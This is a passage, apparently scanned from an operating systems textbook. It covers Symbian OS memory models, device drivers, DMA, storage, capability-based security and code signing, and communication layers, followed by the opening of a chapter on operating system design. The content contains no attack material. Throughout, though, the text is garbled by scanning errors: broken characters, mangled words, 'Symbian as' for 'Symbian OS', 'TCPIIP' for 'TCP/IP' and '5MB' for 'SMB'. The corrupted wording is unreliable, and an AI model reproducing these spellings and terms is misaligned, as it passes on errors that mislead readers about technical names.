is bounded, so static requests can be made for dynamic space as well. Memory 
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Figure 12-2. Symbian OS uses a two-level page table to reduce table access time and storage. 

frames are allocated to pages from a list of free frames; if no free frames are 
available then an error condition is raised. Memory frames that are used cannot 
be repla�ed with pages from an incoming applica�io�, even if the fra�es are for 
an application that is not ex.ecuting currently. ThIS IS beca.use there IS no swap
ping in Symbian OS and !here is no place to copy the eVIcted pages to, as the 
(very limited) flash memory is only for user files. 

. . There are actually four different versions of the memory
. 
Implementation 

model that Symbian OS uses. Each model ,:as designed for certam types of hard
ware configuration. A brief listing of these IS below: 

The moving model: This model was designed for early ARM architec
tures. The page directory in the moving model i� 4-KB long, and each 
entry holds 4 bytes, giving the directory a 16-KB SIze. Memory pages �re 
protected by access bits associated with memory frame

.
s and by lab�lmg 

memory access with a domain. Domains are recorded m the p�ge dlr�c
tory and the MMU enforces access penni

.
ssions for �ac� domam. WhIle 

segmentation is not explicitly �sed, there IS an organizatIOn to the layou� 
of memory: there is a data section for user-allocated data and a kernel sec 
tion for kernel-allocated data. 
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The multiple model: This model was developed for versions 6 and later 
of the ARM architecture. The MMU in these versions differs from that 
used in earlier versions. For example, the page directory requires different 
handling, since it can be sectioned into two pieces, each referencing two 
different sets of page tables. These two are used for user page tables and 
for kernel page tables. The new version of the ARM architecture revised 
and enhanced the access bits on each page frame and deprecated the do
main concept. 

The direct model: The direct memory model assumes that there is no 
MMU at alL This model is rarely used and.is not allowed on smartphones. 
The lack of an MMU would cause severe performance issues. This model 
is useful for development environments where the MMU must be disabled 
for some reason. 

. 

The emulator model: This model was developed to support the Win
dows-hosted Symbian OS emulator. The emulator has few restrictions in 
comparison to a real target CPU. The emulator runs as a single Windows 
process, therefore the address space is restricted to 2 GB, not 4 GB. All 
memory provided to the emulator is accessible to any Symbian OS proc
ess and therefore no memory protection is available. Symbian OS librar
ies are provided as Windows-fonnat DLLs and therefore Windows hand
les the allocation and management of memory. 

12.5 INPUT AND OUTPUT 

941 

Symbian OS's input/output structure mirrors that of other operating system 
designs. This section will point out some of the unique characteristics that Sym
bian OS uses to focus on its target platform. 

12.5.1 Device Drivers 

In Symbian OS, device drivers execute as kernel-privileged code to give 
user-level code access to system-protected resources. As with Linux and Win
dows, device drivers represent software access to hardware. 

A device driver in Symbian OS is split into two levels: a logical device driver 
(LDD) and a physical device driver (PDD). The LDD presents an interface to 
upper layers of software, while the PDD interacts directly with hardware. In this 
model, the LDD can use the same implementation for a specific class of devices, 
while the PDD changes with each device. Symbian OS supplies many standard 
LDDs. Sometimes, if the hardware is fairly standard or common, Symbian OS 
will also supply a PDD. 
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·Consider an example of a serial device. Symbian OS defines a generic serial 
LDD that defines the program interfaces for accessing the serial device. The LDD 
supplies an interface to the PDD, which provides the interface to serial devices. 
The PDD implements buffering and the flow control mechanisms necessary to 
help regulate the differences in speed between the CPU and serial devices. A sin
gle LDD (the user side) can connect to any of the PDDs that might be used to run 
serial devices. On a specific smartphone, these might include an infrared port or 
even an RS-232 port. These two are good examples; they use the same serial 
LDD, but different PDDs. 

LDDs and PDDs can be dynamically loaded by user programs if they are not 
already existing in memory. Programming facilities are provided to check to see if 
loading is necessary. 

12,5,2 Kernel Extensions 

Kemel extensions are device drivers that are loaded by Symbian as at boot 
time. Because they are loaded at boot time, they are special cases that need to be 
treated differently than normal device drivers. 

Kernel extensions are different from normal device drivers. Most device driv
ers are implemented as LDDs, paired with PDDs, and are loaded when needed by 
user-space applications. Kernel extensions are loaded at boot time and are spe
cifically targeted at certain devices, typically not paired with PDDs. 

Kernel extensions are built into the boot procedure. These special device driv
ers are loaded and started just adter the scheduler starts. These implement func
tions that are crucial to operating systems: DMA services, display management, 
bus control to peripheral devices (e.g., the USB bus). These are provided for two 
reasons, First, it matches the object-oriented design abstractions we have come to 
see as characteristic of microkernel design. Second, it allows the separate plat
fonns that Symbian as runs on to run specialized device drivers that enable the 
hardware for each platform without recompiling the kerneL 

12.5.3 Direct Memory Access 

Device drivers frequently make use of DMA and Symbian as supports the 
use of DMA hardware. DMA hardware consists of a controller that controls a set 
of DMA channels. Each channel provides a single direction of communication be
tween memory and a device; therefore, bidirectional transmission of data requires 
two DMA channels. At least one pair of DMA channels is dedicated to the screen 
LCD controller. In addition, most platforms provide a certain number of general 
DMA channels. 

Once a device has transmitted data to memory, a system interrupt is triggered. 
The DMA service provided by DMA hardware is used by the PDD for the trans-
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mitting device-the part of the device driver that interfaces with the hardware, 
Between the PDD and the DMA controller, Symbian OS implements two layers 
of software: a software DMA layer and a kernel extension that interfaces with the 
DMA hardware, The DMA layer is· itself split up into a platform-independent 
layer and a platform-dependent layer. As a kernel extension, the DMA layer is 
one of the first device drivers to be started by kernel during the boot procedure. 

Support for DMA is complicated for a special reason. Symbian OS supports 
many difference hardware configurations and no single DMA configuration can 
be assumed. The interface to the DMA hardware is standardized across platfonns, 
and is supplied in the platform-independent layer. The platfonn-dependent layer 
and the kernel extension are supplied by the manufacturer, thus treating the DMA 
hardware the same way as Syrnbian OS treats any other device: with a device 
driver in LDD and PDD compQnents. Since the DMA hardware is viewed as a de
vice in its own right, this way of implementing support makes sense because it 
parallels the way Symbian OS supports all devices. 

12,5.4 Special Case: Storage Media 

Media drivers are a special form of PDD in Symbian OS that are used 
exclusively by the file server to implement access to storage media de"ices. Be
cause smartphones can contain both fixed and removable media, the media drivers 
must recognize and support a variety of forms of storage, Symbian OS support for 
media includes a standard LDD and an interface API for users. 

The file server in Symbian OS can support up to 26 different drives at the 
same time. Local drives are distinguished by their drive letter, as in Windows. 

12,5,5 Blocking I/O 

Symbian as deals with blocking I/O through active objects. The designers 
realized that the weight of all threads waiting on an I/O event affects the other 
threads in the system, Active objects allow blocking I/O calls to be handled by the 
operating system rather than the process itself. Active Objects are coordinated by a 
singJe scheduler and implemented in a single thread. 

When the active Object uses a blocking I/O call, it signals the operating sys
tem and suspends itself. When the blocking call completes, the operating system 
wakes up the suspended process, and that process continues execution as if a func
tion had returned with data, The difference is one of perspectIve for the active ob
ject. It cannot call a function and expect a return value. It must call a special 
function and let that function set up the blocking I/O but return immediately. The 
operating system takes over the waiting. 
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12.5.6 Removable Media 

Removable media pose an interesting dilemma for operating system de
signers. When a Secure Digital card is inserted in its reader slot, it is � device just 
like all others. It needs a controller, a driver, a bus structure, and W1n probably 
communicate to the CPU through DMA. However, the fact that you remove the 
media is a serious problem to this device model: how does the operating system 
detect insertion and removal, and how should the model accommodate the ab
sence of a media card? To get even more complicated, some device slots can ac
commodate more than one kind of device. For example, an SD card, a miniSD 
card (with an adapter), and a MultiMediaCard all use the same kind ?f slot" . . 

Symbian OS starts its implementation of removable media WIth theIr SImI-
larities. Each type of removable media have features common to all of them: 

1. All devices must be inserted and removed. 
2. All removable media can be removed "hot," that is, while being used. 

3. Each medium can report its capabilities. 
4. Incompatible cards must be rejected. 

5. Each card needs power. 

To support removable media, Symbian OS provides software controllers that 
control each supported card. The controllers work with device drivers for each 
card, also in software. There is a socket object created when a card is inserted and 
this object forms the channel over which data flows. To accommodate the 
chan(7es in the card's state, Symbian OS provides a series of events that occur 
whe; state changes happen. Device drivers are configured like active Objects to 
listen for and respond to these events. 

12.6 STORAGE SYSTEMS 

Like all user-oriented operating systems, Symbian OS has a file system. We 
will describe it below. 

12.6.1 File Systems for Mobile Devices 

In terms of file systems and storage; mobile phone operating systems have 
many of the requirements of desktop operating systems. Most are implemented in 
32-bit environments; most allow users to give arbitrary names to files; most store 
many files that require some kind of organized structure. This means that a hier
archical directory-based file system is desirable. And while designers of mobile 
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operating systems have many choices for file systems, one more characteristic 
influences their choice: most mobile phones have storage media that can be shar
ed with a Windows environment. 

If mobile phone systems did not have removable media, then any file system 
would be usable. However, for systems that use flash memory, there are special 
circumstances to consider. Block sizes are typically from 512 bytes to 2048 bytes. 
Flash memory cannot simply overwrite memory; it must erase first, then write. In 
addition, the unit of erasure is rather coarse: bytes cannot be erased but entire 
blocks must be erased at a time. Erase times for flash memory are relatively long. 

To accommodate these characteristics, flash memory works best when there 
are specifically designed file systems that spread writes over the media and deal 
with the long erase times. The basic concept is that when the flash stOre is to be 
updated, the file system will write a new copy of the changed data over to a fresh 
block, remap the file pointers, and then erase the old block later when it has time. 

One of the earliest flash file systems was Microsoft's FFS2 for use with MS� 
DOS in the early 1990s. When the PCMCIA industry group approved the Flash 
Translation Layer specification for flash memory in 1994, flash devices could 
look like a FAT file system. Linux also has specially designed file systems, from 
JFFS to YAFFS (the Journaling Flash File System and the Yet Another Flash Fil� 
ing System). 

However, mobile platforms must share their media with other computers, 
which demands that some form of compatibility be in place. Most often, FAT file 
systems are used; Specifically, FAT-16 is used for its shorter allocation table 
(rather than FAT�32) and for its reduced usage of long files. 

12.6.2 Symbian OS File Systems 

Being a mobile smartphone operating system, Symbian OS needs to imple
ment at least the FAT-16 file system. Indeed, it provides support for FAT-16 and 
use,s that file system for most of its storage medium. 

However, the Symbian OS file server implementation is built on an abstrac
tion much like the Linux virtual file system. Object orientation allows objects 
that implement various operating systems to be plugged into the Symbian OS file 
server, thus allowing many different file system implementations to be used. Dif
ferent implementations may even co-exist in the same file server. 

Implementations of NFS and 5MB file systems have been created for Sym
bian OS. 

12.6.3 File System Security and Protection 

Smartphone security is an interesting variation on general computer security. 
There are several aspects of smartphones that make security something of a chal
lenge. Symbian OS has made several design choices that differentiate it from 
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general-purpose desktop systems and from other smarq�hone plat�orms. We will 
focus on those aspects that pertain to file system secunty; other Issues are dealt 
with in the next section. 

Consider the environment for smartphones. They are single-user devices and 
require no user identification to use. A phone user can execute a�plicat�ons, dial 
the phone, and access networks-all witholl

.
t identification. In thIS �nv1f?nm�nt, 

using permissions-based security is challengIng, because the lack of IdenuficatlOTI 
means only one set of permissions is possible-the same set for everyone. 

Instead of user permissions, security often takes advantage of other types of 
information. In Symbian OS version 9 and later, applications are given a set of 
capabilities when they are installed. (The p:ocess t�at gran�. which capabiliti�s 
an application has is covered in the next sectlOn.) ThIS capabIlIty set for an appl�
cation is matched against the access that the application requests. If the access IS 
in the capability set, then access is granted; otherwise, it is refused. Capability 
matching requires some overhead-matching occurs at every system ?all 

. t
hat 

involves access to a resource-but the overhead of matching file ownershIp with a 
file's owner is gone. The trade-off works well for Symbian as. 

There are some other forms of file security on Symbian OS. There are areas 
of the Symbian OS storage medium that applications cannot access v:ith?ut spe
cial capability. This special capability is only p:ovided to the ap�lIc.atlOn that 
installs software onto the system. The effect of thlS is that new apphcatlOns, after 
beinu installed, are protected from nonsystem access (meaning that nonsystem 
mali�ious programs, such as viruses, cannot infect installed applications). In. addi
tion there are areas of the file system reserved specifically for certain types of 
dat; manipulation by application (this is called data caging; see the next section): 

For Symbian as, the use of capabilities has worked as wen as file ownershlp 
for protecting access to files. 

12.7 SECURITY IN SYMBIAN OS 

Smartphones provide a difficult environment to make secure. As we dis
cussed previously, they are single-user devices and require no user authentication 
to use basic functions. Even more complicated functions (such as installing appli
cations) require authorization but no authentication. However, they run on com
plex operating systems with many ways to bring data (including executing pro
urams) in and out. Safeguarding these environments is complicated. 
/;;> Symbian OS is a good example of this difficulty. Users expect that Symbian 
as smartphones will allow any kind of use without authentication-no logging in 
or verifying your identity. Yet, as you have undoubtably experienced, an �perat
inO" system as complicated as Symbian OS is very capable yet also susceptIble to 
vi�uses, worms, and other malicious programs. The versions of Symbian OS prior 
to version 9 offered a gatekeeper type of security: the system asked the user for 

.. ""' . . 
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pennission to install every installed application. The thinking in this deslun was 
that only user-installed applications could cause system havoc and an infonned 
use� ,,:ould know what programs he intended to install and what programs were 
mahclOus. The user was trusted to use them wisely. 

. This gate
.
keeper desig� h�s a lot of merit. For example, a new smartphone 

With no user-mstalled apphcatlons would be a system that could run without error. 
Installing only applications that a user knew were not malicious would maintain 
the security of the system. The problem with this design is that users do not al
ways

. 
know the complete ramifications of the software they are installing. There 

are VIruses that masquerade as useful programs, performin 0" useful functions while 
silently in�tal1ing malicious code. Nonnal users are unab}: to verify the complete 
trustworthmess of all the software available. 

. This verific�tion of trust is _what prompted a complete redesign of platform se
cunty for Symbtan OS version 9. This version of the operating system keeps the 
gatekeeper model, but takes the responsibility for verifying software away from 
the user. Each software developer is now responsible for verifying its own soft
wa:e through a process called signing and the system verifies the developer's 
claIm. Not all software requires such verification, only those that access certain 
sys:ern functions. When an application requires signing, this is done through a 
senes of steps: 

1 .  The software developer must obtain a vendor ID from a trusted third 
party. These trusted parties are certified by Symbian. 

2. When a developer has developed a software packaO"e and wants to 
distribute it, the developer must submit the packaO"e �o a trusted third 
party for validation. The developer submits his ':endor 1D, the soft
ware, and a list of ways that the software accesses the system. 

3. The trusted third party then verifies that the list of software access 
types is complete and that no other type of access occurs. If the third 
p�rty can make this verification, the software is then signed by that 
thIrd party. This means that the installation package has a special 
amount of information that details what it will do to a Symbian OS 
system and that it may actually do. 

4. This installation package is sent back t9 the software developer and 
may now be distributed to users. Note that this method depends on 
how software accesses system resources. Symbian OS says that in 
?rder to access a system resource, a program must have the capabil
Ity to access the resource. This idea of capabilities is built into the 
kernel of Symbian as. When a process is created, part of its process 
control block records the capabilities granted to the process. Should 
t�� �rocess try to perform an access that was not listed in these capa
bIlItIes, the access would be denied by the kernel. 
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The result of this seemingly elaborate process to distribute signed applications 
is a trust system in which an automated gatekeeper built into Symbian OS can 
verify software to be installed. The install process checks the signage of the in
stallation package. If the signing of the package is valid, the capabilities granted 
the software are recorded and these are the capabilities granted to the application 
by the kernel when it executes. 

The diagram in Fig. 12-3 depicts the trust relationships in Symbian OS ver
sion 9. Note here that there are several levels of trust built into the system. There 
are some applications that do not access system resources at all, and therefore do 
not require signing. An example of this might be a simple application that only 
displays something on the screen. These applications are not trusted, but they do 
not need to be. The next level of trust is made up of user-level signed applica
tions. These signed applications are only granted the capabilities they need. The 
third level of trUst is made up of system servers. Like user-level applications, 
these servers may only need certain capabilities to perform their duties. In a 
microkernel architecture like Symbian OS, these servers run at the user level and 
are trusted like user-level applications. Finally, there is a class of programs that 
requires full trust of the system. This set of programs has the full ability to change 
the system and is made up of kernel code. 

Trusted Computing Environment: 
System seNers run with different 
privileges 

Signet Applications: 
Less trusted software that is 
signed according to its stated 
purposes 

Trusted Computing Base: 
Full ability to modify file system 
contains kernel, F32, SWlnstaU 

Unsigned Software: 

� SWlnstali is the JIIIlRK gatekeeper 

Untrustworthy applications that do 
not affect fi!esystems or system 
environment 

Figure 12-3. Symbian OS uses trust relationships to implement security. 

. -

There are several aspects to this system that might seem questionable. For ex
ample, is this elaborate process really necessary (especially when it costs some 
money to do)? The answer is yes: the Symbian signing system replaces users as 
the verifier of software integrity, and there must be real verification done. This 
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process might seem to make development difficult: does each test on real hard
ware require a new Signed installation package? To answer this, Symbian OS 
recognizes special signing for developers. A developer must get a special signed 
digital certificate that is time limited (usually for 6 months) and specific to a par
ticular smrutphone. The developer can then build its own installation packages 
with the digital certificate. 

In addition to this gatekeeping function in version 9, Symbian OS also 
employs something caned data caging, which organizes data into certain direc
tories. Executable code only exists in one directory, for example, that is writable 
only by the software installation application. In addition, data written by applica
tions can only be written in one directory, which is private and inaccessible from 
other programs. 

12.8 COMMUNICATION IN SYMBIAN OS 

Symbian OS is designed with specific criteria in mind and can be character
ized by event-driven communications using client/server relationships and stack
based configurations. 

12.8.1 Basic Infrastructure 

The Symbian OS communication infrastructure is built on basic components. 
Consider a very generic form of this infrastructure shown in Fig. 12-4. Consider 
this diagram as a starting point for an organizational model. At the bottom of the 
stack is a physical device, connected in some way to the computer. This device 
could be a mobile phone modem or a Bluetooth radio transmitter embedded in a 
communicator. We are not concerned with the details of hardware here so we 
will treat this physical device as an abstract unit that responds to commands from 
software in the appropriate manner. 

The next level, and the first level we are concerned with, is the device driver 
level. We have already pointed out the structure of device drivers; software at this 
level is concerned with working directly with the hardware via the LDD and PDD 
structures. The software at this level is hardware specific, and every new piece of 
hardware requires a new software device driver to interface with it. Different 
drivers are needed for different hardware units, but they an must implement the 
same interface to the upper layers. The protocol implementation layer will expect 
the same interface no matter what hardware unit is used. 

The next layer is the protocol implementation layer, containing imple
mentations of the protocols supported by Symbian OS. These implementations as
sume a device driver interface with the layer beneath and supply a single, unified 
interlace to the application layer above. This is the layer that implements the 
Bluetooth and TCPIIP protocol suites, for example, along with other protocols. 

-.�.-...-.---
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Figure 12-4. Communication in Symbian OS has block oriented structure. 
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Finally, the application layer is the topmost layer. This layer contain� the ap
plication that must utilize the communication infrastructure. The applic�tlon does 
not know much about how communications are implemented. However, It do�s do 
the work necessary to inform the operating system of which devices it will use. 
Once the drivers are in place, the application does not access them directly, but 
depends on the protocol implementation layer APIs to drive the real devices. 

12.8.2 A Closer Look at the Infrastructure 

A closer look at the layers in this Symbian OS communication infrastructure 

is shown in Fig. 12-5. This diagram is based on the generic model in Fig. 12-4. 

The blocks from Fig. 12-4 have been subdivided into operational units that depict 

those used by Symbian as. 

The Physical Device 

First, notice that the device has not been changed. As we stated before, Sym

bian OS has no control over hardware. Therefore, it accommodates hardware 

through this layered API design, but does not specify how the hardware itself is 

desio-ned and constructed. This is actually an advantage to Syrnbian OS and its 

devclopers. By viewing hardware as an abstract unit and designing communica

tion around this abstraction, the designers of Symbian OS have ensured that Sym

bian OS can handle the wide variety of devices that are available now and can 

also accommodate the hardware of the future. 
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Figure 12-5. Communication Structure in Symbian as has a rich set of featUl\!S. 
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The device driver layer has been divided into two layers in Fig. 12-5. The 
PDD layer int:rfaces directly with the physical device, as we mentioned before, 
through a.specific hardv:rare port. The LDD layer interfaces with the protocol im
p�ementatlOn layer and Implements Symbian OS policies as they relate to the de
VIce. These policies include input and output buffering, interrupt mechanisms, 
and flow control. 

The Protocol Implementation Layer 

. Several sublayers have been added to the protocol implementation layer in �lg . . 12-5. Four types of modules are used for protocol implementation; these are 
ItemIzed below: 

CSY :Modules: The lowest level in the protocol implementation layers is 
the communication server, or CSY, module. A CSY module communi
cates directly with the hardware through the PDD portion of the device 
?river, implementing the various low-level aspects of protocols. For 
mstance, a protocol may require raw data transfer to the hardware device 
or it may specify 7-bit or 8-bit buffer transfer. These modes would be 
handled by the CSY module. 
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TSY Modules: Telephony comprises a large part of the communications 
infrastructure, and special modules are llsed to implement it. Telephony 
server (TSY) modules imp1ement the telephony functionality. Basic 
TSYs may support standard telephony functions, such as making and ter� 
minating calls, on a wide range of hardware. More advanced TSY s may 
support advanced phone hardware, such as those supporting GSM func
tionality. 

PRT Modules: The central modules used for protocol implementation are 
protocol modules, or PRT modules. PRT modules are used by servers to 
implement protocols. A server creates an instance of a PRT module when 
it attempts to use the protocoL The TCPIIP suite of protocols, for 
instance, is implemented by the TCPIP.PRT module. Bluetooth protocols 
are implemented by the BT .PRT module. 

MTMs: As Symbian OS has been designed specifically for messaging, its 
architects built a mechanism to handle messages of all types. These mes
sao-e handlers are called message type modules, or MTMs. Message han
dling has many different aspects, and MTMs must implement each of 
these aspects. User Interface MTMs must implement the various ways 
users will view and manipulate messages, from how a user reads a mes
sao-e to how a user is notified of the progress of sending a message. Cli
en�-side MTMs handle addressing, creating, and responding to messages. 
Server-side MTMs must implement server-oriented manipulation of mes
sages, including folder manipulation and message-specific manipulation. 

These modules build On each other in various ways, depending on the type of 
communication that is being used. Implementations of protocols using Bluetooth, 
for example, will use only PRT modules on top of device drivers. Certain IrDA 
protocols will do this as well. TCPIIP implementations that use PPP will use PRT 
modules and both a TSY and a CSY module. TCPIIP implementations without 
PPP will typically not use either a TSY module or a CSY module, but will link a 
PRT module directly to a network device driver. 

Infrastructure Modularity 

The modularity of this stack-based model is useful to implementers. The ab
stract quality of the layered design should be evident from the examples just giv
en. Consider the TCPIIP stack implementation. A PPP connection can go directly 
to a CSY module or choose a GSM or regUlar modem TSY implementation, 
which in turn goes through a CSY module. When the future brings a new 
telephony technology, this existing structure will still work, and we only need to 
add a TSY module for the new telephony implementation. In addition, fine tuning 
the TCPIIP protocol stack does not require altering any of the modules it depends 

. - - -�- -- .. ------� 
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on; we simply tune up the TCP/IP PRT module and leave the rest alone. This 
exten�ive n:odu�arity means that new code plugs into the infrastructure easily, old 
code IS easIly dIscarded, and existing code can be modified without shakino- the 
whole system or reqUiring any extensive reinstalls. 

� 

Finally, Fig. 12-5 has added sublayers to the application layer. There are 
CSy I?odules tha� applications use to interface with protocol modules in the pro
tocol II?plen:e�tatlO�s. While we can consider these as parts of protocol imple
mentatIOns, It IS a bIt cleaner to think of them as assisting applications. An ex
ample here might be an application that uses IR to send SMS messao-es through a 
m?bil� ph�ne. This application would use an IRCOMM CSY module on the ap
phcatl�n SIde that us�s an SMS implementation wrapped in a protocol imple
mentatl�n l�yer. Agam, the modularity of this entire process is a big advantage 
for applIcatlons that need to focus on what they do best and not on the communi
cations process. 

12.9 SUMMARY 

Symbian as was designed as an object-oriented operating system for smart
phon� platforms: It has a microkernel design that utilizes a very small nanokernel 
core, Implementmg only the fastest and most primitive kernel functions." Symbian 
O� uses a client/server architecture that coordinates access to system resources 
With user-space servers. While designed for smartphones, Symbian OS has many 
features of a �eneral-purpose operating system: processes and threads, memory �anagen:ent, fIle system support, and a rich communication infrastructure. Sym?lan OS Implements some unique features; for example, active objects make wait
mg on external events much more efficient, the lack of virtual memory makes 
memory management more challenging, and support for object orientation in de
vice drivers uses a two-layer abstract design. 

PROBLEMS 

1. Itemize three efficiency improvements brought on by a microkernel design. 
2. Itemize three efficiency problems brought on by a microkernel design. 
3. Symbian OS sp�it its. kernel de�ign into two layers: the nanokernel and the Symbian 

OS kernel. ServICes like dynamiC memory management were deemed too complicated 
for the nanokernel. Describe the complicated components of dynamic memory man
agement and why they might not work in a nanokerneI. 

4. Consider the operation below. For Symbian OS, describe whether each can be imple
mented as a process or as a thread. Explain your answer. 
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1. Using a user application-say, a Web browser 
2. Processing user input from a phone keypad for a game 
3. Changing the color of a portion of the screen for an application 
4. Scheduling the next execution unit on the processor 

5. We discussed active objects as a way to make 1I0 processing more ,efficient. Do you 
think an application could use multiple active objects at the same time? How would 
the system react when multiple I/O events required action? 

6. Security in Symbian OS is focused on installation and Symbian sig�in� of applica
tions? Is this enough? Would there ever be scenario where an apphcattOo could be 
placed in storage for execution without being installed? (Hint: Think about aU pos
sible data entry points for a mobile phone.) 

7. In Symbian OS, server-based protection of shared resources is used extensively,. List 
three advantages that this type of resource coordination has in a mic.rokernel enV1ron
ment. Speculate as to how each of your advantages might affect a dIfferent kernel ar
chitecture. 

1 3  
OPERATING SYSTEM DESIGN 

In the past 12 chapters, we have covered a lot of ground and taken a look at 
many concepts and examples relating to operating systems. But studying existing 
operating systems is different from designing a new one. In this chapter we are 
going to take a quick look at some of the issues and trade-offs that operating sys
tems designers have to consider when designing and implementing a new system. 

There is a certain amount of folklore about what is good and what is bad float
ing around in the operating systems community, but surprisingly little has been 
written down. Probably the most important book is Fred Brooks' classic The 
Mythical Man Month in which he relates his experiences in designing and imple
menting IBM's OS/360. The 20th anniversary edition revises some of that mater
ial and adds four new chapters (Brooks, 1995). 

Three classic papers on operating system design are "Hints for Computer Sys
tem Design" (Lampson, 1984), "On Building Systems That Will Fail" (Corbato, 
1991), and "End-to-End Arguments in System Design" (Saltzer et aI., 1984). 
Like Brooks' book, all three papers have survived the years extremely well; most 
of their insights are still as valid now as when they were first published. 

This chapter draws upon these sources, plus the author's personal experience 
as designer or co-designer of three systems: Amoeba (Tanenbaum et al., 1990), 
MINIX (Tanenbaum and Woodhull, 1997), and Globe (Van Steen et aI., 1999a). 
Since no consensus exists among operating system designers about the best way 
to design an operating system, this chapter will thus be more personal, specula
tive, and undoubtedly more controversial than the previous ones. 

955 
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13.1 THE NATURE OF THE DESIGN PROBLEM 

Operating system design is more of an engineering project than an exact sci
ence. It is much harder to set clear goals and meet them. Let us start with these 
points. 

13.1.1 Goals 

In order to design a successful operating system, the designers have to have a 
clear idea of what they want. Lack of a goal makes it very hard to make subse
quent decisions. To make this point clearer, it is instructive to take a look at twO 
programming languages PUI and C. PLir was designed by IBM in the 1960s be
cause it was a nuisance to have to support both FORTRAN and COBOL, and 
embarrassing to have academics yapping in the background that Algol was better 
than both of them. So a committee was set up to produce a language that would 
be all things to all people: PLII. It had a little bit of FORTRAN, a little bit of 
COBOL, and a little bit of Algol. It failed because it lacked any unifying vision. 
It was simply a collection of features at war with one another, and too cumber
some to be compiled efficiently, to boot. 

Now consider C. It was designed by one person (Dennis Ritchie) for one pur
pose (system programming). It was a huge success, in no small part because 
Ritchie knew what he wanted and did not want. As a result, it is still in 
widespread use more than three decades after its appearance. Having a clear 
vision of what you want is cruciaL 

What do operating system designers want? It obviously varies from system to 
system, being different for embedded systems than for server systems. However, 
for general-purpose operating systems four main items come to mind: 

1. Define abstractions. 
2. Provide primitive operations. 
3. Ensure isolation. 
4. Manage the hardware. 

Each of these items will be discussed below. 
The most important, but probably hardest task of an operating system is to 

define the right abstractions. Some of them, such as processes, address spaces, 
and files, have been around so long that they may seem obvious. Others such as 

threads, are newer, and are less mature. For example, if a multithreaded process 
that has one thread blocked waiting for keyboard input forks, is there a thread in 
the new process also waiting for keyboard input? Other abstractions relate to syn
chronization, signals, the memory model, modeling of 110, and many other areas. 
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Each of the abstractions can be instantiated in the form of concrete data struc
ture�. Users :an create processes, files, semaphores, and more. The primitive op
eratIOns manIpulate these data structures. For example, users can read and write 
files. The primitive operations are implemented in the form of system calls. From 
the u�er's point of view: the heart of the operating system is formed by the ab
stractrons and the operatIOns on them available via the system calls. 
. Since mUltiple users ca� be logged into a computer at the same time, the oper

ann? system n�eds to prOVIde mechanisms to keep them separated. One user may 
not lOterfere with another. The process concept is widely used to group resources 
together for protecti�n purposes. Files and other data structures generally are pro
tected 

.
as welL �aking sure each user can perform only authorized operations on 

authonzed data IS a key goal of system design. However, users also want to share 
data an? resources, so the isolation has to be selective and under user control. This 
makes It much harder. The e-mail program should not be able to clobber the Web 
browser. Even when there is only a single user, different processes need to be iso
lated. The 

Closely related to this point is the need to isolate failures. If some part of the 
system goes down, most commonly a user process, it should not be able to take 
the 

.
rest of the system d.own with it. The system design should make sure that the 

vanous parts are well. Isolated from one another. Ideally, parts of the operating 
syste� should also be Isolated from one another to allow independent fai'lures. 

Fmally, the operating system has to manage the hardware. In particular, it has 
to take care of all the low-level chips, such as interrupt controllers and bus con
trollers. It also h�s to provide a ,framework for allowing device drivers to manage 
the larger I/O deVICes, such as dIsks, printers, and the display. 

13.1.2 Why Is It Hard to Design an Operating System? 

Moore's Law says that co�puter hardware improves by a factor of 100 every 
decade. Nobody has a law saymg that operating systems improve by a factor of 
100 every decade. Or even get better at all. In fact, a case can be made that some 
of them are worse in key respects (such as reliability) than UNIX Version 7 was 
back in the 1970s. 

Why? Inertia .and the desire for backward compatibility often get much of the 
blam�, and the �adure to ?dhere to good design principles is also a culprit But 
there IS more to .It .Operatmg systems are fundamentally different in certain ways 
from small applicatIOn programs sold in stores for $49. Let us -look at eioht of the 
is�ue� that make designing an operating system much harder than designi�g an ap
plIcatIon program. 

First,. operating systems have become extremely large programs. No one per
son can sit dow� at a PC and dash off a serious operating system in a few months. 
All current verSlOns of UNIX exceed 3 million lines of code; Windows Vista has 
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over 5 million lines of kernel code (and over 70 million lines of total code). No 
one person can understand 3-5 million lines of code, let alone 70 million lines of 
code. When you have a product that none of the designers can hope to fully under
stand, it should be no surprise that the results are often far from optimal. 

Operating systems are not the most complex systems around. Aircraft carriers 
are far more complicated, for example, but they partition into isolated subsystems 
better. The people designing the toilets on a aircraft carrier do not have to worry 
about the radar system. The two subsystems do not interact much. In an operating 
system, the file system often interacts with the memory system in unexpected and 
unforeseen ways. 

Second, operating systems have to deal with concurrency. There are mUltiple 
users and multiple I/O devices all active at once. Managing concurrency is 
inherently much harder than managing a single sequential activity. Race condi
tions and deadlocks are just two of the problems that come up. 

Third, operating systems have to deal with potentially hostile users-users 
who want to interfere with system operation or do things that are forbidden, such 
as stealing another user's files. The operating system needs to take measures to 
prevent these users from behaving improperly. Word-processing programs and 
photo editors do not have this problem. 

Fourth, despite the fact that not all users trust each other, many users do want 
to share some of their infonnation and resources with selected other users. The 
operating system has to make this possible, but in such a way that malicious users 
cannot interfere. Again, application programs do not face anything like this �hal
lenge. 

Fifth, operating systems live for a very long time. UNIX has been around for a 
quarter of a century; Windows has been around for over two decades and shows 
no signs of vanishing. Consequently, the designers have to think about how hard
ware and applications may change in the distant future and how they should 
prepare for it. Systems that are locked too closely into one particular vision of the 
world usually die off. 

Sixth, operating system designers really do not have a good idea of how their 
systems will be used, so they need to provide for considerable generality. Neither 
UNIX nor Windows was designed with e-mail or Web browsers in mind, yet many 
computers running these systems do little else. Nobody tells a ship designer to 
build a ship without specifying whether they want a fishing vessel, a cruise ship, 
or a battleship. And even fewer change their minds after the product has arrived. 

Seventh, modern operating systems are generally designed to be portable, 
meaning they have to run On multiple hardware platforms. They also have to sup
port thousands of IJO devices, all of which are independently designed with no 
regard to one another. An example of where this diversity causes problems is the 
need for an operating system to run on both little-endian and big-endian machines. 
A second example was seen constantly under MS-DOS when users attempted to 
install, say, a sound card and a modem that used the same I/O ports or interrupt 
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request lines. Few programs other than operating systems have to deal with sorting out problems caused by conflicting pieces of hardware. 

. 
Eighth, and

. 
last in ou: list, is the frequent need to be backward compatible WIth Some preVIOUS operatmg system. That system may have restrictions on word lengths, file names, or other aspects that the designers now regard as obSOlete, but are stuck with. It is· like converting a factory to produce next year's cars instead o! this year's cars, but while continuing to produce this year's cars at full capaCIty. 

13.2 INTERFACE DESIGN 

It should be clear by now that writing a modern operating system is not easy. 
But where does one begin? Probably the best place to begin is to think about the �nterfaces it provides. An operating system provides a set of abstractions, mostly 
Implemented by data types (e.g., files) and operations on them (e.g., read). Toget
her, these fonn the interface to its users. Note that in this context the users of the 
operating system are programmers who write code that use system calls, not peo
ple running application programs. 

